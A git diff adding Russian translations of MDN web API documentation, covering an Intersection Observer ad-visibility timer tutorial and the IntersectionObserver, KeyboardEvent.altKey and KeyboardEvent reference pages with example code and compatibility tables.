+ +

Ранее мы уже видели, что если нам нужно обновить общее время видимости рекламы - мы вызываем функцию updateAdTimer(). Эта функция принимает в качестве аргумента объект {{domxref("HTMLDivElement")}}.

+ +
function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}
+ +

Для отслеживания времени видимости элемента мы используем два data-атрибута на каждом рекламном блоке:

+ +
+
lastViewStarted
+
Время в миллисекундах относительно первоначальной загрузки страницы до момента, когда счётчик рекламного блока был обновлён или блок стал невидим. Если значение равно нулю - блок не был видим в последний раз, когда проверялся.
+
totalViewTime
+
Общее время видимости рекламного блока.
+
+ +

Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придется в одном месте сделать это вручную.

+ +

Функция начинается с выяснения времени, когда происходила последняя проверка видимости рекламы (adBox.dataset.lastViewStarted). Мы также получаем текущее время с момента создания документа с помощью {{domxref("Performance.now", "performance.now()")}} currentTime.

+ +

Если время последней проверки lastStarted не равно нулю - это значит, что таймер сейчас уже запущен. В этом случае мы вычисляем разницу между текущим временем и временем старта проверки. Это значение покажет, сколько реклама была видима с момента последнего старта детекции. Затем это значение прибавляем к уже имееющемуся totalViewTime. Обратите внимание не вызов {{jsxref("parseFloat()")}}: так как все значения из Dataset - строки, JavaScript пытается соединить строки вместо того, чтобы просуммировать числа.

+ +

В конце мы присваеваем lastViewStarted текущее значение. Это делается вне зависимости от того, был ли элемент видим во время вызова функции или нет - это позволяет таймеру рекламных блоков срабатывать всегда, когда эта функция вызывается. Это имеет смысл, потому что вызов может сработать ровно в тот момент, когда реклама только появилась.

+ +

Показываем таймер рекламы

+ +

Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаем в функцию drawAdTimer контейнер:

+ +
function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}
+ +

Функция находит внутри переданного контейнера блок с классом timer. Затем забирает данные о текущем общем времени видимости блока. С помощью деления на 1000, 60 и 60 мы преобразуем результат в нужный формат (миллисекунды -> секунды -> минуты / секунды)

+ +

Метод {{jsxref("String.padStart()")}} используется для того, чтобы убедиться, что число секунд всегда состоят из двух цифр.

+ +

Строим содержимое страницы

+ +

Функция buildContents() вызывается при старте приложения. Она формирует тело статьи и добавляет рекламные блоки:

+ +
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.</p>";
+
+function buildContents() {
+  for (let i=0; i<5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+
+ +

Переменная loremIpsum содержит текст, который мы используем как тело статьи. Разумеется, в реальном мире вы будете забирать статьи из какой-то базы данных. Но это тема другой статьи, поэтому мы пошли простым путём.

+ +

buildContents() создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки.  Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод createArticle(), который мы разберем позже.

+ +

Рекламные блоки создаются с помощью функции loadRandomAd(). Эта функция создает и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.

+ +

Создаем статью

+ +

Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию createArticle(), которая в качестве входных данных принимает строку-текст статьи.

+ +
function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}
+ +

Сперва, элемент <article> создаётся и ему присваивается уникальный ID nextArticleID (это просто счётчик от нуля до бесконечности). Затем мы создаем и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной contents. Наконец, мы увеличиваем значение nextArticleID (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.

+ +

Создание рекламного блока

+ +

Функция loadRandomAd() имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для replaceBox, создается и применяется новый контейнер для рекламы. Если вы указали replaceBox, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.

+ +
function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}
+ +

Вначале мы определяем массив ads. Этот массив содержит данные, необходимые для создания рекламных блоков. В реальном приложении, конечно, мы будем загружать эти данные из базы или, что более вероятно, из рекламного сервиса, который будет использовать какой-то API. Тем не менее, наша простая задача решается: каждый рекламный блок представлен тремя свойствами: фоновым цветом (bgcolor), заголовком (title) и текстовым содержимым (body).

+ +

Затем мы определяем несколько переменных:

+ +
+
adBox
+
Определяет контейнер, содержащий рекламу. Вновь добавленные рекламные блоки будут добавлены к странице с помощью{{domxref("Document.createElement()")}}. Когда замещается существующая реклама, в этой переменной указан элемент (replaceBox).
+
title
+
Содержит ссылку на элемент {{HTMLElement("h2")}}.
+
body
+
Содержит ссылку на элемент {{HTMLElement("p")}}.
+
timerElem
+
Содержит ссылку на элемент таймера {{HTMLElement("div")}}.
+
+ +

Случайный рекламный блок вычисляется с помощью Math.floor(Math.random() * ads.length). Результат этой функции - целое число между 0 и максимальным количеством рекламных блоков. Соответствующий рекламный блок теперь доступен нам из переменной adBox.

+ +

Если replaceBox содержит какое-то значение, мы рассматриваем его как элемент рекламного блока. Мы завершаем наблюдение за элементом с помощью {{domxref("IntersectionObserver.unobserve()")}}. Затем собираем в локальные переменные данные из каждого свойства элемента: заголовок, тело и таймер.

+ +

Если никакое значение не указано для replaceBox, мы создаем новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса "ad". Затем создаются заголовок рекламного блока, его текст и таймер.  Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру adBox.

+ +

После этого разветвления наш код вновь возвращается к единому. Фоновый цвет рекламных блоков присваевается соответственно записям. Элементам присваиваются классы и содержимое.

+ +

Наступаем время присвоить data-параметры, чтобы отслеживать видимость рекламных блоков с помощью установки adBox.dataset.totalViewTime и adBox.dataset.lastViewStarted равными нулю.

+ +

Наконец, мы устанавливаем CSS-класс контейнеру таймера. С помощью этого класса приложение сможет с лёгкостью собирать данные и обновлять их для каждого таймера. По умолчанию, текст этого контейнера - "0:00".

+ +

Если мы создаём новую рекламу, мы должны применить элемент к страницы с помощью {{domxref("Node.appendChild", "Document.appendChild()")}}. Если мы лишь заменяем рекламный блок - он уже представлен в DOM и всё, что нам нужно сделать - это обновить его. Затем мы вызываем функцию {{domxref("IntersectionObserver.observe", "observe()")}}. adObserver начинает отслеживать изменения перекрытия элементов в видимой области приложения. С этого момента любой рекламный блок, который становится на 100% скрыт или хотя бы на один пиксель видим или преодолевает порог в 75% видимости в любом направлении, запускает вычисление таймингов и обновление содержимого таймеров.

+ +

Замена существующей рекламы

+ +

Наша {{anch("Handling intersection changes", "функция обработки перекрытия")}} отслеживает рекламные блоки. Когда они становятся на 100% и общее время их видимости достаточное для того, рекламный блок заменяется на новый. Когда это происходит, вызывается функция replaceAd().

+ +
function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}
+ +

replaceAd() начинается с вызова updateAdTimer() для существующего рекламного блока, чтобы убедиться, что таймер обновлён. С помощью этого вызова мы убеждаемся, что totalViewTime, который мы используем для обработки, действительно совпадает с тем, что видел пользователь. Мы логгируем это значение и загружаем в рекламный блок новые данные. Помните, что в реальном мире вы не должны логгировать подобные вещи, а скорее использовать API для сбор логов.

+
+ +

Результат

+ +

Вы можете увидеть результат в окне ниже. Попробуйте экспериментировать с прокрутой и понаблюдайте за тем, как изменение видимости затрагивает каждый таймер. Кроме того, обратите внимание, что каждый рекламный блок обновляется только в том случае, если он уже был видим в течение минуты.

+ +

{{EmbedLiveSample("fullpage_example", 750, 800)}}

+ +

См. также:

+ + diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html new file mode 100644 index 0000000000..707224cab5 --- /dev/null +++ b/files/ru/web/api/intersectionobserver/index.html @@ -0,0 +1,95 @@ +--- +title: IntersectionObserver +slug: Web/API/IntersectionObserver +tags: + - API + - Experimental + - Interface + - Intersection Observer + - Intersection Observer API + - Reference + - observers +translation_of: Web/API/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

Интерфейс IntersectionObserver в составе Intersection Observer API предоставляет возможность асинхронного наблюдения за изменением пересечения целевого элемента с вышестоящим элементом или с верхоуровневым {{Glossary('viewport')}} документа. Вышестоящий элемент или viewport считается корнем.

+ +

Когда IntersectionObserver создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания IntersectionObserver, поэтому такой объект-наблюдатель полезен только для наблюдения за определенными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.

+ +

Constructor

+ +
+
{{domxref("IntersectionObserver.IntersectionObserver()")}}
+
Создаёт новый объект IntersectionObserver, который будет запускать специальную callback-функцию, когда обнаружит пересечение одного или нескольких пороговых значений видимостью целевого элемента.
+
+ +

Properties

+ +
+
{{domxref("IntersectionObserver.root")}} {{readonlyinline}}
+
Конкретный предок наблюдаемого целевого {{domxref("element")}}. Если в конструктор не было передано значения или оно null, будет использован viewport документа.
+
{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}
+
Смещение прямоугольника (пер. "An offset rectangle"), применяемое к {{Glossary('bounding box')}} корня при расчёте пересечений, эффективно сжимает или увеличивает корень для целей расчёта. Возвращаемое этим свойством значение может не совпадать со значением, указанным при вызове конструктора, поскольку оно может быть изменено в соответствии с внутренними требованиями. Каждое смещение может быть выражено в пикселях (px) или в процентах (%). Значение по умолчанию "0px 0px 0px 0px".
+
{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}
+
Список порогов, отсотированный по возрастанию, где каждый порог представляет собой отношение площади пересечения к ограничивающей области наблюдаемой цели. Уведомления для цели генерируются, когда любое из пороговых значений пересекается для этой цели. Если в конструктор не было передано значения, используется 0.
+
+ +

Methods

+ +
+
{{domxref("IntersectionObserver.disconnect()")}}
+
Отключает объект IntersectionObserver от наблюдения любой цели.
+
{{domxref("IntersectionObserver.observe()")}}
+
Сообщает объекту IntersectionObserver целевой элемент для наблюдения.
+
{{domxref("IntersectionObserver.takeRecords()")}}
+
Возвращает массив из объектов {{domxref("IntersectionObserverEntry")}} для всех наблюдаемых целей.
+
{{domxref("IntersectionObserver.unobserve()")}}
+
Сообщает объекту IntersectionObserver прекратить наблюдение за конкретным целевым элементом.
+
+ +

Examples

+ +
var intersectionObserver = new IntersectionObserver(function(entries) {
+  // Если intersectionRatio равен 0, цель вне зоны видимости
+  // и нам не нужно ничего делать
+  if (entries[0].intersectionRatio <= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// начать наблюдение
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}{{Spec2('IntersectionObserver')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

See also

+ + diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html new file mode 100644 index 0000000000..0ac07c64c1 --- /dev/null +++ b/files/ru/web/api/keyboardevent/altkey/index.html @@ -0,0 +1,117 @@ +--- +title: KeyboardEvent.altKey +slug: Web/API/KeyboardEvent/altKey +translation_of: Web/API/KeyboardEvent/altKey +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.altKey свойство только для чтения, возвращет  {{jsxref("Boolean")}}, если клавиша  alt (Option или ⌥ на OS X) была нажата (true) или не нажата (false), когда событие произошло.

+ +

Синтаксис

+ +
var altKeyPressed = instanceOfKeyboardEvent.altKey
+
+ +

Пример

+ +
<html>
+<head>
+<title>altKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Нажата клавиша: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "клавиша ALT нажата: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>
+Нажмите любую клавишу с зажатой клавишей ALT или без нее<br />
+Вы можете также использовать SHIFT вместе с ALT.
+</p>
+</body>
+</html>
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM3 Events','#widl-KeyboardEvent-altKey','KeyboardEvent.altkey')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html new file mode 100644 index 0000000000..82f1f9d634 --- /dev/null +++ b/files/ru/web/api/keyboardevent/index.html @@ -0,0 +1,465 @@ +--- +title: KeyboardEvent +slug: Web/API/KeyboardEvent +tags: + - API + - DOM + - Event + - UI Events + - Интерфейс + - Событие +translation_of: Web/API/KeyboardEvent +--- +
{{APIRef("DOM Events")}}
+ +

Объекты KeyboardEvent описывают работу пользователя с клавиатурой. Каждое событие описывает клавишу; тип события (keydown, keypress или keyup) определяет произведённый тип действия.

+ +
Примечание: KeyboardEvent сообщит только о том, что на клавише произошло событие. Когда вам нужно обрабатывать ввод текста, то вместо него используйте "HTML5 input"-событие. Например, если пользователь вводит текст рукописным способом, предположим с планшета, то события клавиш могут не возникать.
+ +

Конструктор

+ +
+
{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}
+
Создаёт объект KeyboardEvent.
+
+ +

Методы

+ +

Этот интерфейс также наследует методы от своих родителей: {{domxref("UIEvent")}} и {{domxref("Event")}}.

+ +
+
{{domxref("KeyboardEvent.getModifierState()")}}
+
Возвращает {{jsxref("Boolean")}}, показывающий, что использовалась клавиша-модификатор, такая как Alt, Shift, Ctrl или Meta, которая была нажата, когда создалось событие.
+
{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}
+
Инициализирует объект KeyboardEvent. Этот метод реализован только в движке Gecko (остальные использовали метод {{domxref("KeyboardEvent.initKeyboardEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.
+
{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}
+
Инициализирует объект KeyboardEvent. Этот метод никогда не был реализован в движке Gecko (вместо него использовался {{domxref("KeyboardEvent.initKeyEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.
+
+ +

Свойства

+ +

Этот интерфейс также наследует свойства от своих родителей: {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если клавиша Alt ( Option или ⌥ в OS X) была активна, когда возникло событие.
+
{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}
+
Возвращает {{domxref("DOMString")}}, представляющий символьное значение клавиши. Если клавиша соответствует печатному символу, то это значение будет непустой Unicode-строкой, содержащей этот символ. Если клавиша не имеет печатного представления, то значение будет пустой строкой. +
Примечание: Если клавиша использовалась как макрос, который вставляет несколько символов, то значением будет вся строка, а не только первый символ.
+ +
Предупреждение: Эта функция была удалена из событий "DOM Level 3 Events". Она поддержтвается только IE9+ и Microsoft Edge.
+
+
{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}
+
Возвращает {{jsxref("Number")}}, представляющий Unicode-номер клавиши; этот атрибут использовался только с событием keypress. Для клавиш, чей char-атрибут содержит несколько символов, то значением этого атрибута будет Unicode-значение первого символа. В Firefox 26 этот атрибут возвращал коды для печатных символов. +
Предупреждение: Это нерекомендуемый к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.
+
+
{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}
+
Возвращает {{domxref("DOMString")}} с кодом клавиши, представленного события.
+
{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если клавиша  Ctrl была активна, когда возникло событие.
+
{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если событие возникло между "после-compositionstart" и "до-compositionend".
+
{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}
+
Возвращает {{domxref("DOMString")}}, представлающее значение клавиши, на которой возникло событие.
+
{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}} {{Readonlyinline}}
+
Возвращает {{jsxref("Number")}}, представляющее системный и зависящий от конкретной реализации числовой код, идентифицирущий немодифицированное значение нажатой клавиши. +
Предупреждение: Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.
+
+
{{domxref("KeyboardEvent.keyIdentifier")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}
+
Это свойство нестандартное, и его использование не рекомендуется в пользу {{domxref("KeyboardEvent.key")}}. Это часть устаревшего "DOM Level 3 Events".
+
{{domxref("KeyboardEvent.keyLocation")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}
+
Это нестандартный нерекомендуемый синоним для {{domxref("KeyboardEvent.location")}}. Это часть устаревшего "DOM Level 3 Events".
+
{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}
+
Возвращает {{domxref("DOMString")}}, представляет строку-локаль, которая показывает текущую конфигурацию локали клавиатуры. Это может быть пустая строка, если браузер или устройство не имеют понятия о локали клавиатуры. +
Заметьте: Это не описание языка ввода текста. Пользователь может использовать одну раскладку клавиатуры для ввода на разных языках.
+
+
{{domxref("KeyboardEvent.location")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Number")}}, представляющее расположение клавиши на клавиатуре или другом устройстве ввода.
+
{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если клавиша Meta (на клавиатуре Mac - клавиша ⌘ Command; на Windows-клавиатуре - клавиша "Windows" ⊞) была активна, когда возникло событие.
+
{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если клавиша была нажата до тех пор, пока её ввод не начал автоматически повторяться.
+
{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}
+
Возвращает {{jsxref("Boolean")}}, которое true, если клавиша Shift была активна, когда возникло событие.
+
{{domxref("KeyboardEvent.which")}} {{deprecated_inline}} {{Readonlyinline}}
+
Возвращает {{jsxref("Number")}}, представляющее зависящее от конкретной реализации значение системного кода нажатой клавиши, который представляет собой немодифицируемое значение; это обычно то же, что свойство keyCode. +
Предупреждение: Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.
+
+
+ +

Примечания

+ +

Особенности событий keydown, keypress и keyup. Для большинства клавиш Gecko обрабатывает последовательность событий так:

+ +
    +
  1. Когда клавиша сначала нажата, то отправляется событие keydown.
    2. +
  2. Если клавиша не является модификатором, то отправляется событие keypress.
    3. +
  3. Когда пользователь отпускает клавишу, то отправляется событие keyup.
    4. +
+ +

Особые случаи

+ +

Некоторые клавиши переключают подсветку индикаторов, такие как Caps Lock, Num Lock и Scroll Lock. На Windows и Linux эти клавиши создают только лишь события keydown и keyup.

+ +
+

В Linux Firefox 12 и более ранних также обрабатывается событие keypress.

+
+ +

Но в связи с ограничениями Mac OS X модель событий клавиши Caps Lock включает в себя только keydown. События Num Lock поддерживались на старых ноутбуках (2007 года и старше), но затем Mac OS X их перестала поддерживать, даже на внешних клавиатурах. На совсем старых MacBooks клавиша Num Lock вообще не генерирует никаких событий. Движок Gecko не поддерживает клавишу Scroll Lock, если это внешняя клавиатура с клавишей F14. В некоторых старых версиях Firefox эта клавиша генерирует событие keypress; это являлось нестабильным поведением и описано в {{bug(602812)}}.

+ +

Обработка автоповтора нажатой клавиши

+ +

Когда клавиша нажата и удерживается, то начинается автоповтор. Результатом этого будет последовательность событий аналогичная следующей:

+ +
    +
  1. keydown
    2. +
  2. keypress
    3. +
  3. keydown
    4. +
  4. keypress
    5. +
  5. <<повтор до тех пор, пока пользователь не отпустит клавишу>>
    6. +
  6. keyup
    7. +
+ +

Это то, что должно произойти в соответствии со спецификацией DOM Level 3. Однако, есть несколько предостережений относительно этого, описанных ниже.

+ +

Автоповтор на некоторых GTK-средах, таких как Ubuntu 9.4

+ +

В некоторых GTK-средах автоповтор обрабатывается автоматически нативными функциями как событие key-up, и у Gecko нет способа отличить серию одиночных нажатий от автоповтора. На таких платформах автоповтор генерирует следующую последовательность событий:

+ +
    +
  1. keydown
    2. +
  2. keypress
    3. +
  3. keyup
    4. +
  4. keydown
    5. +
  5. keypress
    6. +
  6. keyup
    7. +
  7. <<повтор, пока пользователь не отпустит клавишу>>
    8. +
  8. keyup
    9. +
+ +

В этих средах, к сожалению, нет возмодности сказать вэб-контенту, произошел автоповтор или клавиша быал нажата несколько раз.

+ +

Обработка автоповтора на системах до Gecko 5.0

+ +

До Gecko 5.0 {{geckoRelease('5.0')}} обработка событий клавиатуры была различна на разных платформах.

+ +
+
Windows
+
Поведение автоповтора такое же как в Gecko 4.0 и более поздних.
+
Mac
+
После первого события keydown только отправляются события keypress до тех пор, пока не произойдёт событие keyup; внутриинтервальные события keydown не отправляются.
+
Linux
+
Поведение событий зависит от конкретной платформы. Они могут иметь как Windows-тип и Mac-тип, так и свои собственные модели поведения.
+
+ +

Замечание: при вызове события вручную не происходит никакого действия по умолчанию, связанного с данным событием. Например, если вызвать вручную событие нажатия клавиши, то никакая буква на поле вводимого текста не появится. В случае событий пользовательского интерфейса, что важно по соображениям безопасности, это предотвращает работу скриптов в браузере, которые эмулируют работу пользователя.

+ +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+<script>
+'use strict';
+
+document.addEventListener('keydown', (event) => {
+  const keyName = event.key;
+
+  if (keyName === 'Control') {
+    // not alert when only Control key is pressed.
+    return;
+  }
+
+  if (event.ctrlKey) {
+    // Хотя event.key это не 'Control' (например, нажата клавиша 'a'),
+    // то всё же event.ctrlKey может быть true, если ударживается клавиша Ctrl.
+    alert(`Combination of ctrlKey + ${keyName}`);
+  } else {
+    alert(`Key pressed ${keyName}`);
+  }
+}, false);
+
+document.addEventListener('keyup', (event) => {
+  const keyName = event.key;
+
+  // Как только пользователь отпустит клавишу Ctrl, то она больше не будет активной.
+  // Поэтому event.ctrlKey = false.
+  if (keyName === 'Control') {
+    alert('Control key was released');
+  }
+}, false);
+
+</script>
+</head>
+
+<body>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM3 Events', '#interface-keyboardevent', 'KeyboardEvent')}}{{Spec2('DOM3 Events')}}Первоначальное определение
+ +

Спецификация интерфейса KeyboardEvent прошла многочисленные черновые варианты, сперва в DOM Events Level 2, где её поддержка не добилась консенсуса, затем в DOM Events Level 3. Это привело к реализации нестандартных методов инициализации Gecko-браузерами в ранних версиях DOM Events Level 2 {{domxref("KeyboardEvent.initKeyEvent()")}} и в ранних версиях DOM Events Level 3 {{domxref("KeyboardEvent.initKeyboardEvent()")}} остальными браузерами. Но оба были заменены новой формой использования конструктора:{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
constructor{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("31.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
.char{{CompatNo}}{{CompatUnknown}}{{CompatNo}}9{{CompatNo}}{{CompatNo}}
.charCode{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
.isComposing{{CompatNo}}{{CompatUnknown}}{{CompatGeckoDesktop("31.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
.keyCode{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
.locale{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
.location{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("15.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
.repeat{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
.which{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
.initKeyboardEvent(){{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatNo}}[2]{{CompatIE("9.0")}}[3]{{CompatUnknown}}{{CompatVersionUnknown}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
